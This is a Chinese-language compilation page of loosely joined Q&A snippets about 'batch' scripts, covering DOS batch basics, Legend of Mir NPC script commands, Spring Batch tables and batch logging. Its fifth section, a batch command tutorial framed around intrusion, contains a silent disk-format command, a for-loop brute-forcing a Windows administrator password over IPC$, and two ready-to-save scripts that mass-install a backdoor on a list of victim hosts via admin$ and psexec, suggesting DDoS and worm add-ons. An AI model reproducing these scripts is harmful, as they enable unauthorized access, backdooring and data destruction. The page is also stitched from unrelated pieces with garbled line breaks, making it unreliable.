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batch腳本

發布時間: 2023-01-30 01:40:11

1. 什麼是批處理文件有什麼作用

1, 批處理,也稱為批處理腳本,英文譯為BATCH,批處理文件後綴BAT就取的前三個字母。它的構成沒有固定格式,只要遵守以下這條就ok了:每一行可視為一個命令,每個命令里可以含多條子命令,從第一行開始執行,直到最後一行結束,它運行的平台是DOS。 bat是dos下的批處理文件 .cmd是nt內核命令行環境的另一種批處理文件 從更廣義的角度來看,unix的shell腳本以及其它操作系統甚至應用程序中由外殼進行解釋執行的文本,都具有與批處理文件十分相似的作用,而且同樣是由專用解釋器以行為單位解釋執行,這種文本形式更通用的稱謂是腳本語言。所以從某個程度分析,batch, unix shell, awk, basic, perl 等腳本語言都是一樣的,只不過應用的范圍和解釋的平台各有不同而已。甚至有些應用程序仍然沿用批處理這一稱呼,而其內容和擴展名與dos的批處理卻又完全不同。 2,作用:批處理文件是.bat文件,可以用文本編輯編輯、建立、修改、打開。把DOS命令一個接一個地輸進去,保存後,將該文件的後綴修改為.bat,雙擊此文件,即可執行該文件里的命令。其實它的作用是讓你不用一個接一個的輸入命令,一批一批地執行命令。 不知道我說的是不是不太清楚?

2. 傳奇腳本製作命令

分類: 游戲 >> 游戲工具
問題描述:

我想知道一些傳奇腳本製作命令,就是NPC的例如給東西 檢測結婚 師徒,傳送到那些地方,給寶寶什麼的。多多益善 越詳細越好謝謝。

解析:

傳奇腳本命令大全

命令與函數:

checkjob (Warr, Wizard, Taos) ;測試職業

checkgold (金幣數) ;測試金幣

checklevel (等級) ;測試等級

checkitem (物品名) (數量) ;測試物品及數量

give gold (金幣數) ;給錢

give (物品名) (數量) ;給物及數量

take gold (金幣數) ;拿走錢

take (物品名) (數量) ;拿走物及數量

checkpkpoint (pk值) ;測試PK值

checkluckypoint (幸運值) ;幸運值正值為好,負值為差

checkraeva (物品名) (數值) ;一般測試礦物等物品的品質

checkhum (地圖名) (數值) ;測試這個地圖的人數

checkmonmap (地圖名) (數值) ;測試這個地圖的怪物數

map (地圖名) ;移動到這個地圖

mapmove (地圖名) (坐標A) (坐標B) ;移動到這個地圖指定坐標

monclear 地圖清除

close 關閉對話框

TimeRecall (設定時間值) ;分鍾,一般指進入地圖時間限制

BreakTimeRecall ;中斷設定時間

ExchangeMap (地圖名) ;與指定地圖里的人交換位置

daytime sunset ;一天時間

checkbaggage ;測試背包滿沒

*** all (變數) (數值) ;測試變數是不是小於指定數值

large (變數) (數值) ;測試變數是不是大於指定數值

equal (變數) (數值) ;測試變數是不是等於指定數值

mov (變數) (數值) ;讓變數等於指定數值

sum (變數A) (變數B) ;A+B 注意,如果還要家第3個數直接換行寫sum (變數C)

注:關於SUM的詳解

首先有MOV (變數X) 0 ;(變數X)清0

sum (變數A) (變數B) ;X=A+B

sum (變數C) ;X=X+C

movr (變數) (數值) ;隨機把指定數值以下的數(正數)給變數

inc (變數) (數值) ;讓變數自動加指定數值到變數

playdice (骰子數) @xxx ;玩骰子,跳轉到標簽[@xxx]

random (隨機數) ;一般用在#IF語句中作為觸發#IF機率,有時隨機數=並列#IF語句數用於隨機多項選擇,既:

#IF RANDOM 3 #SAY() #ELSEACT

#IF RANDOM 3 #SAY() #ELSEACT

#IF RANDOM 3 #SAY() #ELSEACT

Check [條件數] 1 ;測試[條件數]觸發與否 1(觸發)

SET [條件數] 1 ;設置[條件數]觸發

batchDelay (暫停時間) ;一般為1

addbatch (地圖名1)

addbatch (地圖名2)

addbatch (地圖名3)

addbatch (地圖名4)

addbatch (地圖名5)

batchmove ;一步步到下一個地圖直到5

param1 01141 ;01141=(地圖名)

param2 10

param3 10

mongen 火焰沃瑪2(怪物名) 30 10

;玩骰子腳本解析

#IF

equal p9 1 ;測試 p9是不是等於1

#ACT

goto @cube ;是的,到@cube

BreakTimeRecall (中斷設定時間)

break

#IF

equal p9 9 ;測試 p9是不是等於9

#ACT

goto @quit ;是的,到@quit 退出

BreakTimeRecall (中斷設定時間)

break

[@main-1]

#IF

#ACT

mov p9 0 ;測試 p9是不是等於0

#SAY

say ;歡迎詞

<下一步/@pre_cube>

[@pre_cube]

#IF

checkitem 籌碼 1 ;測試有沒有籌碼

#ACT

mov p9 1 ;有,讓p9=1

take 籌碼 1 ;給出一個籌碼

movr d0 6 ;;隨機把6以下的數(正數)給d0

inc d0 1 ;讓d0自動加1到d0

playdice 1 @cube ;玩骰子,點擊到標簽[@cube]

#SAY

正在投骰子. \ <下一個/@cube>

#ELSESAY

quit

<退出/@Quit>

#ELSEACT

mov p9 9 ;轉到標簽@quit並讓P9等於9

[@Quit]

#IF

#ACT

map B011 ;退出到B011地圖

[@cube]

#IF

#SAY

骰子的點數 <$STR(D0)> \ ;<$STR(D0)>是變數,把D0數值型轉字元型

你可以前進 <$STR(D0)> \ <移動/@next_cube>

[@next_cube]

#IF

equal d0 1 ;如果 d0=1

#ACT

goto @posi1 ;到POSI1

break

#IF

equal d0 2

#ACT

goto @posi2

break

#IF

equal d0 3

#ACT

goto @posi3

break

#IF

equal d0 4

#ACT

goto @posi4

break

#IF

equal d0 5

#ACT

goto @posi5

break

#IF

equal d0 6

#ACT

goto @posi6

break

[@Posi1]

#IF

#ACT

batchDelay 1 ;一般為1(暫停時間)

addbatch B102 ;步進地圖名1

batchmove ;移動到最後一個步進地圖

[@Posi2]

#IF

#ACT

batchDelay 1

addbatch B102

addbatch B103

batchmove

[@Posi3]

#IF

#ACT

batchDelay 1

addbatch B102

addbatch B103

addbatch B104

batchmove

[@Posi4]

#IF

#ACT

batchDelay 1

addbatch B102

addbatch B103

addbatch B104

addbatch B105

batchmove

[@Posi5]

#IF

#ACT

batchDelay 1

addbatch B102

addbatch B103

addbatch B104

addbatch B105

addbatch B106

batchmove

[@Posi6]

#IF

#ACT

batchDelay 1 ;一般為1(暫停時間)

addbatch B102 ;步進地圖名1

addbatch B103 ;步進地圖名2

addbatch B104 ;步進地圖名3

addbatch B105 ;步進地圖名4

addbatch B106 ;步進地圖名5

addbatch B107 ;步進地圖名6

batchmove ;移動到最後一個步進地圖(這里是6)

;結束

SET

語句:

#IF

……

#ACT(SAY)

……

#ELSESAY(ACT) ;ELSE的兩句是並列的,都是IF<>(條件)的動作

……

#ELSEACT(SAY)

……

goto (標簽名)

break (中斷)

\ ;換行

變數:

<$USERNAME> 當前用戶名

<$GUILDWARFEE>行會戰金幣數

<$LORD>沙巴克行會頭名

<$OWNERGUILD>沙巴克行會名

<$UPGRADEWEAPONFEE>升級武器價格

<$USERWEAPON> 放在對話框里的武器名字

<$STR(變數)> 把變數轉換為字元型

網風傳奇腳本編輯器V1.0.1
wfyl/sfrj/sfrj/200603/20060314224115

3. springbatch不寫表

springbatch不寫表?Spring Batch 資料庫概論
Spring Batch提供了表初始化的語句,並支持了多種常見的資料庫,我們可以在配置文件中設置 spring.batch.initialize-schema 的值來指定對資料庫的操作。
embedded:如果不存在,創建一個空地庫always:每次都重新創建新的庫never:從不創建新的庫默認的資料庫文件地址在 /spring-batch-core-4.1.2.RELEASE.jar!/org/springframework/batch/core/schema-*.sql,根據不同的資料庫類型,執行相應的腳本。

我們還可以通過 spring.batch.schema 指定SQL腳本的路徑,通過 spring.batch.table-prefix 設置資料庫表的前綴,默認是BATCH_ 開頭。
#設置schema腳本的路徑spring.batch.schema=org/springframework/batch/core/schema-mysql.sql#設置表前綴spring.batch.table-prefix=BATCH資料庫表概論
執行完上邊的腳本我們在資料庫可以看到下邊一個資料庫表列表:

這些表可以分為三類:
JobInstanceBATCH_JOB_SEQBATCH_JOB_INSTANCEJobExecutionBATCH_JOB_EXECUTIONBATCH_JOB_EXECUTION_CONTEXTBATCH_JOB_EXECUTION_PARAMSBATCH_JOB_EXECUTION_SEQStepExecutionBATCH_STEP_EXECUTIONBATCH_STEP_EXECUTION_CONTEXTBATCH_JOB_EXECUTION_SEQ

資料庫表詳細介紹
BATCH_JOB_EXECUTION

job_execution_id: Job的執行ID,表主鍵version:當前記錄被修改的次數,控制並發job_instance_id:Job 實例ID,同一個實例可能對應多條執行記錄,但是一般只會對應一條執行成功記錄,默認情況下JobName+參數 確定唯一的Job實例。create_time:記錄創建時間start_time:Job開始執行時間end_time:Job結束執行時間status:執行狀態exit_code:退出碼exit_message:退出信息last_update:最後更新日期job_configuration_location:BATCH_JOB_EXECUTION_CONTEXT
Batch執行上下文,記錄batch執行中放入的一些參數數據

4. Windows 批處理腳本指南: 日誌

我在腳本中使用基本日誌記錄工具,來捕獲腳本執行期間或者執行之後的故障信息。使用基本日誌記錄來檢測腳本在運行時正在做什麼,以及為什麼它這么做。我記得有一個網路操作中心試圖解決一個遺留批處理的問題,在這個過程中,系統管理員通常必須嘗試讀取一個控制台窗口的行,因為它們是滴流而過。當批處理機使用撥號數據機連接到遠程資源時,在很長一段時間里這種技術工作得很好。然而,寬頻的出現意味著批腳本的執行速度超過了任何人能夠讀取的速度。簡單的日誌文件將使這些系統管理員的故障排除工作更加容易。

在[Part 7 – 函數]({% post_url 2018-01-22-windows-batch-functions %})中,示範了 tee 的簡單版實現

這個 tee 函數將Console中的輸出同時寫入了一個日誌文件。在這里,重用了相同的日誌文件路徑,保存在用戶 %TEMP% 文件夾中。如果需要為每個執行保留日誌,可以通過 %DATE% 或者 %TIME% 來創建一個唯一的日誌文件。

在消息的內容前加上一個前綴,例如 script: some message 。這個技巧可以在出錯的情況下,快速發現是在哪個地方輸出的異常消息。

顯示非互動式腳本的各種運行時條件,比如在構建伺服器上運行的一些東西,然後重定向到構建日誌。遺憾的是,我還不知道有什麼DOS技巧(但是)可以區分非互動式會話和互動式會話。 C# 和.Net有個 System.Environment.UserInteractive 屬性可以檢測這種情況。Unix有一些帶有tty文件描述符的技巧。你可能需要監測一個自定義的環境變數來破解實現,比如 %MYSCRIPT_DEBUG% 默認值是false。

5. 批處理文件命令怎麼寫

很長啊,還有些資料,想要的話留個郵箱吧。。。x0dx0a一般批處理都是先建立一個文本文件然後輸入 批處理命令然後另存為.bat文件就好了的。。x0dx0ax0dx0a1.Echo 命令打開回顯或關閉請求回顯功能,或顯示消息。如果沒有任何參數,echo 命令將顯示當前回顯設置。語法echo [{on|off}] [message]Sample:echo off / echo hello world在實際應用中我們會把這條命令和重定向符號(也稱為管道符號,一般用> >> ^)結合來實現輸入一些命令到特定格式的文件中.這將在以後的例子中體現出來。x0dx0a2.@ 命令表示不顯示@後面的命令,在入侵過程中(例如使用批處理來格式化敵人的硬碟)自然不能讓對方看到你使用的命令啦。Sample:@echo off@echo Now initializing the program,please wait a minite...@format X: /q/u/autoset (format 這個命令是不可以使用/y這個參數的,可喜的是微軟留了個autoset這個參數給我們,效果和/y是一樣的。)x0dx0a3.Goto 命令指定跳轉到標簽,找到標簽後,程序將處理從下一行開始的命令。語法:goto label (label是參數,指定所要轉向的批處理程序中的行。) Sample:if {%1}=={} goto noparmsif {%2}=={} goto noparms(如果這里的if、%1、%2你不明白的話,先跳過去,後面會有詳細的解釋。)@Rem check parameters if null show usage:noparmsecho Usage: monitor.bat ServerIP PortNumbergoto end標簽的名字可以隨便起,但是最好是有意義的字母啦,字母前加個:用來表示這個字母是標簽,goto命令就是根據這個:來尋找下一步跳到到那裡。最好有一些說明這樣你別人看起來才會理解你的意圖啊。x0dx0a4.Rem 命令注釋命令,在C語言中相當與/*--------*/,它並不會被執行,只是起一個注釋的作用,便於別人閱讀和你自己日後修改。Rem MessageSample:@Rem Here is the description.x0dx0a5.Pause 命令運行 Pause 命令時,將顯示下面的消息: Press any key to continue . . . Sample:@echo off :begin a:*.* d:\backecho Please put a new disk into driver A pause goto begin 在這個例子中,驅動器 A 中磁碟上的所有文件均復制到d:\back中。顯示的注釋提示您將另一張磁碟放入驅動器 A 時,pause 命令會使程序掛起,以便您更換磁碟,然後按任意鍵繼續處理。x0dx0a6.Call 命令從一個批處理程序調用另一個批處理程序,並且不終止父批處理程序。call 命令接受用作調用目標的標簽。如果在腳本或批處理文件外使用 Call,它將不會在命令行起作用。語法call [[Drive:][Path] FileName [BatchParameters]] [:label [arguments]]參數[Drive:}[Path] FileName 指定要調用的批處理程序的位置和名稱。filename 參數必須具有 .bat 或 .cmd 擴展名。x0dx0a7.start 命令調用外部程序,所有的DOS命令和命令行程序都可以由start命令來調用。入侵常用參數:MIN 開始時窗口最小化SEPARATE 在分開的空間內開始 16 位 Windows 程序HIGH 在 HIGH 優先順序類別開始應用程序REALTIME 在 REALTIME 優先順序類別開始應用程序WAIT 啟動應用程序並等候它結束parameters 這些為傳送到命令/程序的參數執行的應用程序是 32-位 GUI 應用程序時,CMD.EXE 不等應用程序終止就返回命令提示。如果在命令腳本內執行,該新行為則不會發生。8.choice 命令choice 使用此命令可以讓用戶輸入一個字元,從而運行不同的命令。使用時應該加/c:參數,c:後應寫提示可輸入的字元,之間無空格。它的返回碼為1234??x0dx0a如: choice /c:dme defrag,mem,end將顯示defrag,mem,end[D,M,E]?Sample:Sample.bat的內容如下: @echo off choice /c:dme defrag,mem,end if errorlevel 3 goto defrag (應先判斷數值最高的錯誤碼)if errorlevel 2 goto mem if errotlevel 1 goto end x0dx0a:defrag c:\dos\defrag goto end :mem mem goto end :end echo good byex0dx0a此文件運行後,將顯示 defrag,mem,end[D,M,E]? 用戶可選擇d m e ,然後if語句將作出判斷,d表示執行標號為defrag的程序段,m表示執行標號為mem的程序段,e表示執行標號為end的程序段,每個程序段最後都以goto end將程序跳到end標號處,然後程序將顯示good bye,文件結束。x0dx0a9.If 命令x0dx0aif 表示將判斷是否符合規定的條件,從而決定執行不同的命令。 有三種格式: 1、if "參數" == "字元串" 待執行的命令 參數如果等於指定的字元串,則條件成立,運行命令,否則運行下一句。(注意是兩個等號)如if "%1"=="a" format a: if {%1}=={} goto noparmsif {%2}=={} goto noparmsx0dx0a2、if exist 文件名 待執行的命令 如果有指定的文件,則條件成立,運行命令,否則運行下一句。如if exist config.sys edit config.sys x0dx0a3、if errorlevel / if not errorlevel 數字 待執行的命令 如果返回碼等於指定的數字,則條件成立,運行命令,否則運行下一句。如if errorlevel 2 goto x2 DOS程序運行時都會返回一個數字給DOS,稱為錯誤碼errorlevel或稱返回碼,常見的返回碼為0、1。x0dx0a10.for 命令for 命令是一個比較復雜的命令,主要用於參數在指定的范圍內循環執行命令。在批處理文件中使用 FOR 命令時,指定變數請使用 %%variablex0dx0afor {%variable|%%variable} in (set) do command [ CommandLineOptions]%variable 指定一個單一字母可替換的參數。(set) 指定一個或一組文件。可以使用通配符。command 指定對每個文件執行的命令。command-parameters 為特定命令指定參數或命令行開關。在批處理文件中使用 FOR 命令時,指定變數請使用 %%variable而不要用 %variable。變數名稱是區分大小寫的,所以 %i 不同於 %Ix0dx0a如果命令擴展名被啟用,下列額外的 FOR 命令格式會受到支持:x0dx0aFOR /D %variable IN (set) DO command [command-parameters]x0dx0a如果集中包含通配符,則指定與目錄名匹配,而不與文件名匹配。x0dx0aFOR /R [[drive:]path] %variable IN (set) DO command [command-x0dx0a檢查以 [drive:]path 為根的目錄樹,指向每個目錄中的FOR 語句。如果在 /R 後沒有指定目錄,則使用當前目錄。如果集僅為一個單點(.)字元,則枚舉該目錄樹。x0dx0aFOR /L %variable IN (start,step,end) DO command [command-parax0dx0a該集表示以增量形式從開始到結束的一個數字序列。因此,(1,1,5) 將產生序列 1 2 3 4 5,(5,-1,1) 將產生序列 (5 4 3 2 1)。x0dx0aFOR /F ["options"] %variable IN (file-set) DO command FOR /F ["options"] %variable IN ("string") DO command FOR /F ["options"] %variable IN (command) DO command x0dx0a或者,如果有 usebackq 選項:x0dx0aFOR /F ["options"] %variable IN (file-set) DO command FOR /F ["options"] %variable IN ("string") DO command FOR /F ["options"] %variable IN (command) DO command x0dx0afilenameset 為一個或多個文件名。繼續到 filenameset 中的下一個文件之前,每份文件都已被打開、讀取並經過處理。處理包括讀取文件,將其分成一行行的文字,然後將每行解析成零或更多的符號。然後用已找到的符號字元串變數值調用 For 循環。以默認方式,/F 通過每個文件的每一行中分開的第一個空白符號。跳過空白行。您可通過指定可選 "options"參數替代默認解析操作。這個帶引號的字元串包括一個或多個指定不同解析選項的關鍵字。這些關鍵字為:x0dx0aeol=c - 指一個行注釋字元的結尾(就一個)skip=n - 指在文件開始時忽略的行數。delims=xxx - 指分隔符集。這個替換了空格和跳格鍵的默認分隔符集。tokens=x,y,m-n - 指每行的哪一個符號被傳遞到每個迭代的 for 本身。這會導致額外變數名稱的格式為一個范圍。通過 nth 符號指定 m符號字元串中的最後一個字元星號,那麼額外的變數將在最後一個符號解析之分配並接受行的保留文本。usebackq - 指定新語法已在下類情況中使用:在作為命令執行一個後引號的字元串並且引號字元為文字字元串命令並允許在 fi中使用雙引號擴起文件名稱。x0dx0asample1:FOR /F "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do commandx0dx0a會分析 myfile.txt 中的每一行,忽略以分號打頭的那些行,將每行中的第二個和第三個符號傳遞給 for 程序體;用逗號和/或空格定界符號。請注意,這個 for 程序體的語句引用 %i 來取得第二個符號,引用 %j 來取得第三個符號,引用 %k來取得第三個符號後的所有剩餘符號。對於帶有空格的文件名,您需要用雙引號將文件名括起來。為了用這種方式來使用雙引號,您還需要使用 usebackq 選項,否則,雙引號會被理解成是用作定義某個要分析的字元串的。x0dx0a%i 專門在 for 語句中得到說明,%j 和 %k 是通過tokens= 選項專門得到說明的。您可以通過 tokens= 一行指定最多 26 個符號,只要不試圖說明一個高於字母 z 或Z 的變數。請記住,FOR 變數是單一字母、分大小寫和全局的;同時不能有 52 個以上都在使用中。x0dx0a您還可以在相鄰字元串上使用 FOR /F 分析邏輯;方法是,用單引號將括弧之間的 filenameset 括起來。這樣,該字元串會被當作一個文件中的一個單一輸入行。x0dx0a最後,您可以用 FOR /F 命令來分析命令的輸出。方法是,將括弧之間的 filenameset 變成一個反括字元串。該字元串會被當作命令行,傳遞到一個子 CMD.EXE,其輸出會被抓進內存,並被當作文件分析。因此,以下例子:x0dx0aFOR /F "usebackq delims==" %i IN (`set`) DO @echo %ix0dx0a會枚舉當前環境中的環境變數名稱。x0dx0a另外,FOR 變數參照的替換已被增強。您現在可以使用下列選項語法:x0dx0a~I - 刪除任何引號("),擴充 %I%~fI - 將 %I 擴充到一個完全合格的路徑名%~dI - 僅將 %I 擴充到一個驅動器號%~pI - 僅將 %I 擴充到一個路徑%~nI - 僅將 %I 擴充到一個文件名%~xI - 僅將 %I 擴充到一個文件擴展名%~sI - 擴充的路徑只含有短名%~aI - 將 %I 擴充到文件的文件屬性%~tI - 將 %I 擴充到文件的日期/時間%~zI - 將 %I 擴充到文件的大小%~$PATH:I - 查找列在路徑環境變數的目錄,並將 %I 擴充到找到的第一個完全合格的名稱。如果環境變數未被定義,或者沒有找到文件,此組合鍵會擴充空字元串x0dx0a可以組合修飾符來得到多重結果:x0dx0a%~dpI - 僅將 %I 擴充到一個驅動器號和路徑%~nxI - 僅將 %I 擴充到一個文件名和擴展名%~fsI - 僅將 %I 擴充到一個帶有短名的完整路徑名%~dp$PATH:i - 查找列在路徑環境變數的目錄,並將 %I 擴充到找到的第一個驅動器號和路徑。%~ftzaI - 將 %I 擴充到類似輸出線路的 DIRx0dx0a在以上例子中,%I 和 PATH 可用其他有效數值代替。%~ 語法用一個有效的 FOR 變數名終止。選取類似 %I 的大寫變數名比較易讀,而且避免與不分大小寫的組合鍵混淆。x0dx0a以上是MS的官方幫助,下面我們舉幾個例子來具體說明一下For命令在入侵中的用途。x0dx0asample2:x0dx0a利用For命令來實現對一台目標Win2k主機的暴力密碼破解。我們用net use \\ip\ipc$ "password" /u:"administrator"來嘗試這和目標主機進行連接,當成功時記下密碼。最主要的命令是一條:for /f i% in (dict.txt) do net use \\ip\ipc$ "i%" /u:"administrator"用i%來表示admin的密碼,在dict.txt中這個取i%的值用net use 命令來連接。然後將程序運行結果傳遞給find命令--for /f i%% in (dict.txt) do net use \\ip\ipc$ "i%%" /u:"administrator"|find ":命令成功完成">>D:\ok.txt ,這樣就ko了。x0dx0asample3:x0dx0a你有沒有過手裡有大量肉雞等著你去種後門+木馬呢?,當數量特別多的時候,原本很開心的一件事都會變得很郁悶:)。文章開頭就談到使用批處理文件,可以簡化日常或重復性任務。那麼如何實現呢?呵呵,看下去你就會明白了。x0dx0a主要命令也只有一條:(在批處理文件中使用 FOR 命令時,指定變數使用 %%variable)@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call door.bat %%i %%j %%ktokens的用法請參見上面的sample1,在這里它表示按順序將victim.txt中的內容傳遞給door.bat中的參數%i %j %k。而cultivate.bat無非就是用net use命令來建立IPC$連接,並木馬+後門到victim,然後用返回碼(If errorlever =)來篩選成功種植後門的主機,並echo出來,或者echo到指定的文件。delims= 表示vivtim.txt中的內容是一空格來分隔的。我想看到這里你也一定明白這victim.txt里的內容是什麼樣的了。應該根據%%i %%j %%k表示的對象來排列,一般就是 ip password username。代碼雛形:x0dx0a--------------- cut here then save as a batchfile(I call it main.bat ) --------------------@echo off@if "%1"=="" goto usage@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call IPChack.bat %%i %%j %%k@goto end:usage@echo run this batch in dos modle.or just double-click it.:end--------------- cut here then save as a batchfile(I call it main.bat ) --------------------x0dx0a------------------- cut here then save as a batchfile(I call it door.bat) -----------------@net use \\%1\ipc$ %3 /u:"%2"@if errorlevel 1 goto failed@echo Trying to establish the IPC$ connection ????OK@ windrv32.exe\\%1\admin$\system32 && if not errorlevel 1 echo IP %1 USER %2 PWD %3 >>ko.txt@p***ec \\%1 c:\winnt\system32\windrv32.exe@p***ec \\%1 net start windrv32 && if not errorlevel 1 echo %1 Backdoored >>ko.txt:failed@echo Sorry can not connected to the victim.----------------- cut here then save as a batchfile(I call it door.bat) -------------------這只是一個自動種植後門批處理的雛形,兩個批處理和後門程序(Windrv32.exe),PSexec.exe需放在統一目錄下.批處理內容尚可擴展,例如:加入清除日誌+DDOS的功能,加入定時添加用戶的功能,更深入一點可以使之具備自動傳播功能(蠕蟲).此處不多做敘述,有興趣的朋友可自行研究.

6. 批處理和腳本有什麼區別

批處理
也屬於腳本。腳本的含義比較大,批處理只是其中的一種語言,腳本的語言很多。

7. 批處理文件的概念及編寫,它與普通dos命令行的區別是什麼

批處理(Batch),也稱為批處理腳本。顧名思義,批處理就是對某對象進行批量的處理。批處理文件的擴展名為bat 。目前比較常見 的批處理包含兩類:DOS批處理和PS批處理。PS批處理是基於強大的圖片編輯軟體Photoshop的,用來批量處理圖片的腳本;而DOS批處理則是基於DOS命令的,用來自動地批量地執行DOS命令以實現特定操作的腳本。
http://ke..com/view/80110.htm
批處理文件,或稱為批處理程序,是由一條條的DOS命令組成的普通文本文件,可以用記事本直接編輯或用DOS命令創建,也可以用DOS下的文本編輯器Edit.exe來編輯。在「命令提示」下鍵入批處理文件的名稱,或者雙擊該批處理文件,系統就會調用Cmd.exe運行該批處理程序。
批處理的編寫可以去中國DOS聯盟論壇去找常式,首先你要知道DOS命令,論壇地址.
http://www.cn-dos.net/forum/

8. batch什麼意思

Batch一般指批處理。批處理(Batch),也稱為批處理腳本。顧名思義,批處理就是對某對象進行批量的處理,通常被認為是一種簡化的腳本語言,它應用於DOS和Windows系統中。

(8)batch腳本擴展閱讀

目前比較常見的批處理包含兩類:DOS批處理和PS批處理。PS批處理是基於強大的.圖片編輯軟體Photoshop的,用來批量處理圖片的腳本;而DOS批處理則是基於DOS命令的,用來自動地批量地執行DOS命令以實現特定操作的腳本。

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